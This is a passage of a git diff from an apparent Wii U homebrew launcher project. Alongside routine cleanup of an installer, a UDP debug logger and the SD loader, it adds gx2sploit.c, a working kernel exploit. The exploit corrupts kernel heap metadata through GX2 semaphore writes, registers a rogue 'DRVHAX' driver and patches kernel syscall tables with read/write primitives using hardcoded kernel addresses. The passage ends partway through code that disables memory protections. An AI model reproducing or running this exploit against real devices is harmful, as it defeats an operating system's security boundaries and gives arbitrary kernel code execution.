to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); - } -} - -/* ****************************************************************** */ -/* INSTALL PATCHES */ -/* All OS specific stuff is done here */ -/* ****************************************************************** */ -static void InstallPatches(private_data_t *private_data) -{ - OsSpecifics osSpecificFunctions; - private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); - - unsigned int bufferU32; - /* Pre-setup a few options to defined values */ - bufferU32 = VER; - SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0xDEADC0DE; - SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); - SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0; - SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); - - unsigned int jump_main_hook = 0; - osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - - osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - //! pointer to main entry point of a title - osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); - - //! at this point we dont need to check header and stuff as it is sure to be OK - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - unsigned int mainEntryPoint = ehdr->e_entry; - - //! Install our entry point hook - unsigned int repl_addr = ADDRESS_main_entry_hook; - unsigned int jump_addr = mainEntryPoint & 0x03fffffc; - bufferU32 = 0x48000003 | jump_addr; - SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); - // flush caches and invalidate instruction cache - private_data->ICInvalidateRange((void*)(repl_addr), 4); -} diff --git a/installer/logger.c b/installer/logger.c deleted file mode 100644 index 7873ffd..0000000 --- a/installer/logger.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include -#include "common/common.h" -#include "dynamic_libs/socket_functions.h" -#include "logger.h" - -static int log_socket = 0; - - -void log_init(void) -{ - if(log_socket > 0) - return; - - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; - - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton("192.168.0.44", &connect_addr.sin_addr); - - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ - // socket is always 0 initially as it is in the BSS - if(log_socket <= 0) { - log_init(); - return; - } - - int len = strlen(str); - int ret; - while (len > 0) { - ret = send(log_socket, str, len, 0); - if(ret < 0) - return; - - len -= ret; - str += ret; - } -} - -void log_printf(const char *format, ...) -{ - if(log_socket <= 0) { - log_init(); - return; - } - - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); -} diff --git a/installer/logger.h b/installer/logger.h deleted file mode 100644 index 5f602fb..0000000 --- a/installer/logger.h +++ /dev/null @@ -1,86 +0,0 @@ -#ifndef __LOGGER_H_ -#define __LOGGER_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -/* Communication bytes with the server */ -// Com -#define BYTE_NORMAL 0xff -#define BYTE_SPECIAL 0xfe -#define BYTE_OK 0xfd -#define BYTE_PING 0xfc -#define BYTE_LOG_STR 0xfb -#define BYTE_DISCONNECT 0xfa - -// SD -#define BYTE_MOUNT_SD 0xe0 -#define BYTE_MOUNT_SD_OK 0xe1 -#define BYTE_MOUNT_SD_BAD 0xe2 - -// Replacement -#define BYTE_STAT 0x00 -#define BYTE_STAT_ASYNC 0x01 -#define BYTE_OPEN_FILE 0x02 -#define BYTE_OPEN_FILE_ASYNC 0x03 -#define BYTE_OPEN_DIR 0x04 -#define BYTE_OPEN_DIR_ASYNC 0x05 -#define BYTE_CHANGE_DIR 0x06 -#define BYTE_CHANGE_DIR_ASYNC 0x07 -#define BYTE_MAKE_DIR 0x08 -#define BYTE_MAKE_DIR_ASYNC 0x09 -#define BYTE_RENAME 0x0A -#define BYTE_RENAME_ASYNC 0x0B -#define BYTE_REMOVE 0x0C -#define BYTE_REMOVE_ASYNC 0x0D - -// Log -#define BYTE_CLOSE_FILE 0x40 -#define BYTE_CLOSE_FILE_ASYNC 0x41 -#define BYTE_CLOSE_DIR 0x42 -#define BYTE_CLOSE_DIR_ASYNC 0x43 -#define BYTE_FLUSH_FILE 0x44 -#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 -#define BYTE_GET_LAST_ERROR 0x46 -#define BYTE_GET_MOUNT_SOURCE 0x47 -#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 -#define BYTE_GET_POS_FILE 0x49 -#define BYTE_SET_POS_FILE 0x4A -#define BYTE_GET_STAT_FILE 0x4B -#define BYTE_EOF 0x4C -#define BYTE_READ_FILE 0x4D -#define BYTE_READ_FILE_ASYNC 0x4E -#define BYTE_READ_FILE_WITH_POS 0x4F -#define BYTE_READ_DIR 0x50 -#define BYTE_READ_DIR_ASYNC 0x51 -#define BYTE_GET_CWD 0x52 -#define BYTE_SET_STATE_CHG_NOTIF 0x53 -#define BYTE_TRUNCATE_FILE 0x54 -#define BYTE_WRITE_FILE 0x55 -#define BYTE_WRITE_FILE_WITH_POS 0x56 - -#define BYTE_SAVE_INIT 0x57 -#define BYTE_SAVE_SHUTDOWN 0x58 -#define BYTE_SAVE_INIT_SAVE_DIR 0x59 -#define BYTE_SAVE_FLUSH_QUOTA 0x5A -#define BYTE_SAVE_OPEN_DIR 0x5B -#define BYTE_SAVE_REMOVE 0x5C - -#define BYTE_CREATE_THREAD 0x60 - - -int logger_connect(int *socket); -void logger_disconnect(int socket); -void log_string(int sock, const char* str, char byte); -void log_byte(int sock, char byte); - -void log_init(void); -void log_print(const char *str); -void log_printf(const char *format, ...); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/structs.h b/installer/structs.h deleted file mode 100644 index 9233f86..0000000 --- a/installer/structs.h +++ /dev/null @@ -1,32 +0,0 @@ -#ifndef STRUCTS_H -#define STRUCTS_H - -typedef struct { - unsigned char *data; - int len; - int alloc_size; - void* (*memcpy)(void * dest, const void * src, int num); -} file_struct_t; - -typedef struct { - unsigned char *data_elf; - unsigned int coreinit_handle; - /* function pointers */ - void* (*memcpy)(void * dest, const void * src, int num); - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - void* (*OSEffectiveToPhysical)(const void*); - void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); - void (*MEMFreeToDefaultHeap)(void *ptr); - void (*DCFlushRange)(const void *addr, unsigned int length); - void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(int); - - void* (*curl_easy_init)(void); - void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); - int (*curl_easy_perform)(void *handle); - void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); - void (*curl_easy_cleanup)(void *handle); -} private_data_t; - - -#endif // STRUCTS_H diff --git a/installer/types.h b/installer/types.h deleted file mode 100644 index e9194b3..0000000 --- a/installer/types.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#define NULL (void*)0 - -#endif /* TYPES_H */ diff --git a/sd_loader/Makefile b/sd_loader/Makefile index a59f8a6..fb1e37e 100644 --- a/sd_loader/Makefile +++ b/sd_loader/Makefile @@ -118,8 +118,7 @@ $(BUILD): #--------------------------------------------------------------------------------- clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).bin $(OUTPUT).h #--------------------------------------------------------------------------------- else @@ -138,6 +137,8 @@ $(OUTPUT).elf: $(OFILES) @echo "linking ... $(TARGET).elf" $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + $(Q)$(OBJCOPY) -j .text -j .data -O binary $@ ../$(TARGET).bin + $(Q)xxd -i ../$(TARGET).bin | sed "s/unsigned/static const unsigned/g;" > $(OUTPUT).h #--------------------------------------------------------------------------------- %.a: diff --git a/sd_loader/src/entry.c b/sd_loader/src/entry.c index 3fa523d..26f777c 100644 --- a/sd_loader/src/entry.c +++ b/sd_loader/src/entry.c @@ -1,7 +1,6 @@ #include #include "elf_abi.h" #include "../../src/common/common.h" -#include "../../src/common/fs_defs.h" #include "../../src/common/os_defs.h" #define CODE_RW_BASE_OFFSET 0 @@ -22,111 +21,11 @@ typedef struct _private_data_t EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); - EXPORT_DECL(void, exit, void); - - EXPORT_DECL(int, FSInit, void); - EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); - EXPORT_DECL(int, FSDelClient, void *pClient); - EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); - EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); - EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); - EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); + EXPORT_DECL(void, exit, int); EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); } private_data_t; -static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) -{ - int iFd = -1; - void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); - if(!pClient) - return 0; - - void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); - if(!pCmd) - { - private_data->MEMFreeToDefaultHeap(pClient); - return 0; - } - - int success = 0; - private_data->FSInit(); - private_data->FSInitCmdBlock(pCmd); - private_data->FSAddClientEx(pClient, 0, -1); - - do - { - char tempPath[FS_MOUNT_SOURCE_SIZE]; - char mountPath[FS_MAX_MOUNTPATH_SIZE]; - - int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); - if (status != 0) { - private_data->OSFatal("FSGetMountSource failed."); - break; - } - status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); - if(status != 0) { - private_data->OSFatal("SD mount failed."); - break; - } - - status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); - if(status != 0) - { - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - break; - } - - FSStat stat; - stat.size = 0; - - void *pBuffer = NULL; - - private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); - - if(!pBuffer) - private_data->OSFatal("Not enough memory for ELF file."); - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - if(done != stat.size) - { - private_data->MEMFreeToDefaultHeap(pBuffer); - } - else - { - *fileOut = (unsigned char*)pBuffer; - *sizeOut = stat.size; - success = 1; - } - - private_data->FSCloseFile(pClient, pCmd, iFd, -1); - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - } - while(0); - - private_data->FSDelClient(pClient); - private_data->MEMFreeToDefaultHeap(pClient); - private_data->MEMFreeToDefaultHeap(pCmd); - return success; -} - static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) { Elf32_Ehdr *ehdr; @@ -218,18 +117,6 @@ static void loadFunctionPointers(private_data_t * private_data) OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf); OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); - OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); - OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); - OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); - OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); - OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); - OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); - OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); - unsigned int sysapp_handle; OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); @@ -241,61 +128,30 @@ int _start(int argc, char **argv) private_data_t private_data; loadFunctionPointers(&private_data); - while(1) + if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) { - if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) + //! copy data to safe area before processing it + unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); + if(pElfBuffer) { - //! copy data to safe area before processing it - unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); - if(pElfBuffer) - { - private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); - } - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; + private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + private_data.MEMFreeToDefaultHeap(pElfBuffer); } + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + } - if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) + if((MAIN_ENTRY_ADDR != 0xDEADC0DE) && (MAIN_ENTRY_ADDR != 0)) + { + int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); + + //! exit to miimaker and restart application on re-enter of another application + if(returnVal != (int)EXIT_RELAUNCH_ON_LOAD) { - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) - { - private_data.OSFatal("Could not load file " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf"); - } - else - { - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); - - if(MAIN_ENTRY_ADDR == 0) - { - private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf"); - } - } - } - else - { - int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); - - //! exit to miimaker and restart application on re-enter of another application - if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) - { - break; - } - //! exit to homebrew launcher in all other cases - else - { - MAIN_ENTRY_ADDR = 0xDEADC0DE; - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(); - break; - } + MAIN_ENTRY_ADDR = 0xDEADC0DE; + private_data.SYSRelaunchTitle(0, 0); + private_data.exit(0); } } } diff --git a/src/Application.cpp b/src/Application.cpp index a51d344..c97010f 100644 --- a/src/Application.cpp +++ b/src/Application.cpp @@ -17,6 +17,7 @@ #include #include #include +#include #include "Application.h" #include "common/common.h" #include "gui/FreeTypeGX.h" @@ -29,6 +30,7 @@ Application *Application::applicationInstance = NULL; bool Application::exitApplication = false; +bool Application::quitRequest = false; Application::Application() : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000) @@ -79,6 +81,11 @@ Application::~Application() SoundHandler::DestroyInstance(); ProcUIShutdown(); + + if(quitRequest) + { + SYSRelaunchTitle(0, 0); + } } int Application::exec() @@ -91,6 +98,13 @@ int Application::exec() return exitCode; } +void Application::quit(int code) +{ + exitCode = code; + exitApplication = true; + quitRequest = true; +} + void Application::fadeOut() { GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 }); @@ -147,7 +161,8 @@ bool Application::procUI(void) { case PROCUI_STATUS_EXITING: { - quit(EXIT_RELAUNCH_ON_LOAD); + exitCode = EXIT_SUCCESS; + exitApplication = true; break; } case PROCUI_STATUS_RELEASE_FOREGROUND: @@ -174,28 +189,31 @@ bool Application::procUI(void) } case PROCUI_STATUS_IN_FOREGROUND: { - if(video == NULL) + if(!quitRequest) { - log_printf("initialze memory\n"); - memoryInitialize(); - - log_printf("Initialize video\n"); - video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE); - log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); - - //! setup default Font - log_printf("Initialize main font system %p\n", Resources::GetFile("font.ttf")); - FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); - GuiText::setPresetFont(fontSystem); - - if(mainWindow == NULL) + if(video == NULL) { - log_printf("Initialize main window\n"); - mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); - } + log_printf("initialze memory\n"); + memoryInitialize(); + log_printf("Initialize video\n"); + video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE); + log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); + + //! setup default Font + log_printf("Initialize main font system\n"); + FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); + GuiText::setPresetFont(fontSystem); + + if(mainWindow == NULL) + { + log_printf("Initialize main window\n"); + mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); + } + + } + executeProcess = true; } - executeProcess = true; break; } case PROCUI_STATUS_IN_BACKGROUND: @@ -257,6 +275,11 @@ void Application::executeThread(void) AsyncDeleter::triggerDeleteProcess(); } + //! in case we exit to a homebrew let's smoothly fade out + if(video) + { + fadeOut(); + } log_printf("delete mainWindow\n"); delete mainWindow; diff --git a/src/Application.h b/src/Application.h index 44f4dca..46dc8d9 100644 --- a/src/Application.h +++ b/src/Application.h @@ -53,10 +53,7 @@ public: int exec(void); void fadeOut(void); - void quit(int code) { - exitCode = code; - exitApplication = true; - } + void quit(int code); private: Application(); @@ -66,6 +63,7 @@ private: static Application *applicationInstance; static bool exitApplication; + static bool quitRequest; void executeThread(void); diff --git a/src/common/common.h b/src/common/common.h index 9d152b2..6bca5c2 100644 --- a/src/common/common.h +++ b/src/common/common.h @@ -7,7 +7,7 @@ extern "C" { #include "os_defs.h" -#define HBL_VERSION "v1.3" +#define HBL_VERSION "v2.0" #define CAFE_OS_SD_PATH "/vol/external01" #define SD_PATH "fs:" @@ -24,6 +24,8 @@ extern "C" { #define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) +#define APP_BASE_MEM ((unsigned char*)(MEM_BASE + 0x2000)) + #ifndef EXIT_SUCCESS #define EXIT_SUCCESS 0 #endif diff --git a/src/entry.c b/src/entry.c index 491f4f9..ea0bfce 100644 --- a/src/entry.c +++ b/src/entry.c @@ -8,22 +8,6 @@ static volatile uint8_t ucRunOnce = 0; int main(int argc, char **argv) { - //! ******************************************************************* - //! * Check if our application is started * - //! ******************************************************************* -/* - if (OSGetTitleID != 0 && - OSGetTitleID() != 0x000500101004A200 && // mii maker eur - OSGetTitleID() != 0x000500101004A100 && // mii maker usa - OSGetTitleID() != 0x000500101004A000) // mii maker jpn - return EXIT_RELAUNCH_ON_LOAD; - - //! check if application needs a re-load - if(ucRunOnce) { - return EXIT_SUCCESS; - } - ucRunOnce = 1; -*/ //! ******************************************************************* //! * Jump to our application * //! ******************************************************************* diff --git a/src/kernel/gx2sploit.c b/src/kernel/gx2sploit.c new file mode 100644 index 0000000..b00a574 --- /dev/null +++ b/src/kernel/gx2sploit.c @@ -0,0 +1,331 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common/common.h" +#include "utils/logger.h" +#include "../../sd_loader/sd_loader.h" + +#define JIT_ADDRESS 0x01800000 + +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 + +#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown +#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games +#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader +#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu +#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) + +#define KERN_CODE_READ 0xFFF023D4 +#define KERN_CODE_WRITE 0xFFF023F4 +#define KERN_DRVPTR 0xFFEAB530 +#define KERN_ADDRESS_TBL 0xFFEAB7A0 + +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + +#define ADDRESS_main_entry_hook 0x0101c56c +#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 + +#define BAT_SETUP_HOOK_ADDR 0xFFF1D624 +#define BAT_SETUP_HOOK_ENTRY 0x00800000 +#define BAT4U_VAL 0x008000FF +#define BAT4L_VAL 0x30800012 + +#define BAT_SET_NOP_ADDR_1 0xFFF06B6C +#define BAT_SET_NOP_ADDR_2 0xFFF06BF8 +#define BAT_SET_NOP_ADDR_3 0xFFF003C8 +#define BAT_SET_NOP_ADDR_4 0xFFF003CC +#define BAT_SET_NOP_ADDR_5 0xFFF1D70C +#define BAT_SET_NOP_ADDR_6 0xFFF1D728 +#define BAT_SET_NOP_ADDR_7 0xFFF1D82C + +#define BAT_SET_NOP_ADDR_8 0xFFEE11C4 +#define BAT_SET_NOP_ADDR_9 0xFFEE11C8 + +#define NOP_ADDR(addr) \ + *(u32*)addr = 0x60000000; \ + asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31)); + + +extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2); +extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); +extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr); + +extern void SC0x25_SetupSyscall(void); +extern unsigned int SC0x65_ExploitCheck(unsigned int in); + +/* Find a gadget based on a sequence of words */ +static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) +{ + uint32_t *ptr; + + /* Search code before JIT area first */ + for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } + + OSFatal("Failed to find gadget!"); + return NULL; +} + +/* Chadderz's kernel write function */ +static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) +{ + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} + +int exploitThread(int argc, char **argv) +{ + OSDynLoadModule gx2_handle; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + void (*pGX2SetSemaphore)(uint64_t *sem, int action); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore); + uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C; + + u32 gx2_init_attributes[9]; + u8 *gx2CommandBuffer = (u8*)memalign(0x40, 0x400000); + + gx2_init_attributes[0] = 1; + gx2_init_attributes[1] = (u32)gx2CommandBuffer; + gx2_init_attributes[2] = 2; + gx2_init_attributes[3] = 0x400000; + gx2_init_attributes[4] = 7; + gx2_init_attributes[5] = 0; + gx2_init_attributes[6] = 8; + gx2_init_attributes[7] = 0; + gx2_init_attributes[8] = 0; + GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk) + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find stuff */ + uint32_t gx2data[] = {0xfc2a0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14; + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); + set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); + do_flush(0x100, 1); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + /* Setup kernel memmap for further exploitation (will be reverted later) */ + kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000); + kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800); + + /* Setup kernel read/write in every application */ + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x35 * 4)), KERN_CODE_WRITE); + + /* clean shutdown */ + GX2Shutdown(); + free(gx2CommandBuffer); + return 0; +} + +static void setup_syscall(void) +{ + // set kernel code area write permissions + asm volatile("mtspr 570, %0" : : "r" (0xFFF00002)); + asm volatile("mtspr 571, %0" : : "r" (0xFFF00032)); + asm volatile("eieio; isync"); + + u32 *targetAddress = (u32*)BAT_SETUP_HOOK_ADDR; + 